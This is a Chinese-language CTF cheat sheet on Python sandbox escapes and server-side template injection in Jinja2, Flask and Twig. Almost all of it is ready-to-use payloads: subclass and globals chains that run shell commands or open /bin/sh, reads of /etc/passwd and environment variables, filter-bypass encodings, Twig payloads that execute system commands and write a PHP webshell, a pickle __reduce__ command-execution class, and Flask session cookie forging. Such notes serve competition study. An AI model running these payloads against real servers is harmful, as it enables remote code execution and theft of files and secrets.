写的时候非常神志不清,ssti 和 jail 混到一起了。
思路专栏1: https://zhuanlan.zhihu.com/p/578966149
思路专栏2: https://www.freebuf.com/articles/web/359392.html
wiki: https://ciphersaw.me/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
常用payload(假设目标文件是 flag.txt):
1. __import__
__import__('os').system('cat /flag.txt')
__import__('subprocess').popen('ls -la', shell=True, stdout=-1).stdout.read()
__import__('subprocess').check_output(['cat', '/flag.txt']).decode()
__import__('builtins').open('/flag.txt').read()
__import__('pathlib').Path('/flag.txt').read_text()
__import__('os').popen('cat /flag.txt').read()
__import__('os').popen("env").read()
__import__('json').loads('{"flag": "value"}')['flag']
__import__('re').search(r'flag\{.*?\}', 'some text with flag{example_flag} inside').group(0)
open('/flag.txt').read()
__import__('os').system('sh')
2. __init__.__globals__
# ----------高价值类----------
warnings.catch_warnings
_frozen_importlib_external.FileFinder
site._Printer(os, sys)
subprocess.CompletedProcess / Popen(subprocess)
os._wrap_close(system)
# ----------读文件----------
# 使用 warnings.catch_warnings (通用性较高)
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
# ----------执行命令----------
# 使用 os.system
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['os'].system('whoami')
# 使用 os.popen
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['os'].popen('id').read()
# 使用 subprocess.Popen
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['subprocess'].Popen('id', shell=True, stdout=-1).stdout.read()
# 使用 eval + __import__ (这个适合拼接绕过)
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['__builtins__']['eval']("__import__('os').system('id')")
# 使用 linecache
().__class__.__base__.__subclasses__()[要找].__init__.__globals__['linecache'].os.system('id')
3. 其他Payload
getattr(().__class__, '__base__').__subclasses__().__class__.__base__.__subclasses__()['视情况而定'].__init__.__globals__['system']('sh')
__import__('builtins').__dict__['eval']('__import__("os").system("sh")')
config.__class__.__init__.__.globals__['os'].popen('whoami').read()
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
# 导入函数以执行命令
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
# 其他有趣的函数
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
# 在 Python2.7 中
execfile('/usr/lib/python2.7/os.py')
system('ls')
魔术方法:
__class__:返回类型所属的对象__mro__:返回一个包含对象所继承的基类元组__base__:返回该对象所继承的基类__subclasses__:返回一个类的所有直接子类的列表__init__:类的初始化方法__globals__:对包含函数全局变量的字典的引用
常用模块:
os: listdir, system, popen, environ, pipe, fork, execv, execvesubprocess: getoutput, Popenpathlib__builtins__: open, eval, exec, getattrfile: readpopen: ('ls').read(), ('cat').read()
SSTI (服务器端模板注入):
记得加
{{ }},如果回显除了函数名全部正常,可以考虑一下__name__。[图片占位符,原路径:imgs/img1.png]
{{lipsum.__globals__.os.popen('ls').re}}{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}全局变量绕过 (长度限制):
{%set x=config.update(a=config.update)%} {%set x=config.a(f=lipsum.__globals__)%} {%set x=config.a(o=config.f.os)%} {%set x=config.a(p=config.o.popen)%} {{config.p("ls").read()}} {{config.p("cat /f*").read()}}过滤
_: 十六进制转义\x5f过滤
.: 中括号[]替代,如a.b变为a['b']文件上传:
{{''[request.args.x1][request.args.x2][1][request.args.x3]()[139][request.args.x4][request.args.x5][request.args.x6][request.args.x7](request.args.x8)}}
配合 URL 参数:?&x1=__class__&x2=__mro__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__builtins__&x7=eval&x8=__import__("os").popen("whoami").read()Unicode 绕过:
{{lipsum.__globals__.get('os').popen('cat /f*').read()}} {{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}过滤词语: 任何字符串都可以用
+拼接来绕过。搜索脚本:
import requests, re, html, time index = 0 for i in range(170, 1000): try: url = "" r = requests.get(url) res = re.findall("", r.text) time.sleep(0.1) res = html.unescape(res[0]) print(f"{i} | {res}") if "subprocess.Popen" in res: index = i break except: continue print(f"index of subprocess.Popen: {index}")思路参考:
PIN码: Flask debug 模式下报错,可利用 PIN 码进控制台。
字符过滤:
过滤特定字母或引号: 使用
chr()拼接,如chr(99)+chr(97)+chr(116);或bytes拼接,如bytes([99, 97, 116])。过滤
.: 使用getattr(object, 'attribute')。
限制长度:
13字符以内:
eval(input())或breakpoint()7字符以内:
help()-> 进入帮助模式 ->os->!sh交互式终端:
sh
Python 2:
input()相当于 Python 3 中的eval(input())。
存在全局变量:
globals()help()->__main__或help()->文件名
Audit Hook:
绕过
_posixsubprocess:__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
random 函数:
利用
random.getstate()和random.setstate()控制随机数生成。例子:
[random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]cpython._PySys_ClearAuditHooks
猜名字、数字:
侧信道盲注(枚举):
from pwn import * from tqdm import trange class Guess: def __init__(self): self.known = '' def init(self): # self.conn = process(['python3', './server.py']) self.conn = remote('1.14.71.254', 28563) def guess(self): ... if __name__ == '__main__': g = Guess() g.guess()
其他技巧:
需要多行输入: 使用海象运算符
:=字节码过滤: 使用 lambda 表达式
抽象语法树过滤: 参考思路 https://gynvael.coldwind.pl/n/python_sandbox_escape
可能的注入点: 沙箱、URL参数
反序列化+沙箱逃逸:
注意
/proc/self/environ,os.path.join()对绝对路径识别有问题。优先本地文件读写。
有密钥时使用
flask_unsign库:os.system(f"flask-unsign --sign --cookie '{payload}' --secret '{secret_key}'")示例:
class CMD(object): def __reduce__(self): import os cmd = "cat /flag > /tmp/test1" return (os.system, (cmd,))
Twig 常用注入
判断:
mmt{# comment #}{{2*8}}OK,若comment被注释,则为 Twig。Payloads:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}} {{'/etc/passwd'|file_excerpt(1,30)}} {{app.request.files.get(1).__construct('/etc/passwd','')}} {{app.request.files.get(1).openFile.fread(99)}} {{["id"]|map("system")|join(",")}} {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} {{['cat /etc/passwd']|filter('system')}}
Jinja2 常用注入
判断: Flask 框架基本都是 Jinja2。
语法:
{% for/if ...%}{{ ... }}{% endfor/endif %}获取eval执行代码:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}打印环境变量:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("env").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}查看源码:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }} {% endif %} {% endfor %}注意: 有时
if不匹配也会输出换行,耐心翻看结果。绕过技巧
绕过目标:关键字 (如
globals)技术手段: 字符串拼接
~示例:
'__glo' ~ 'bals__'优先级: 最高,最常用。
技术手段:
request对象示例:
request.args.word优先级: 极高,最隐蔽,需
request上下文。
技术手段:
join过滤器示例:
['g','l','o','b','a','l','s']|join优先级: 优秀,可作为备选。
绕过目标:属性访问 (如
.)技术手段: 中括号
[]示例:
obj['__class__']优先级: 最高,最基础。
技术手段:
attr()过滤器示例:
obj|attr('__class__')优先级: 极高,非常灵活。
绕过目标:函数调用 (如
())技术手段: 寻找替代路径
优先级: 难度较高,需改变攻击思路。
attr过滤器:obj|attr('attribute_name')等同于obj.attribute_name。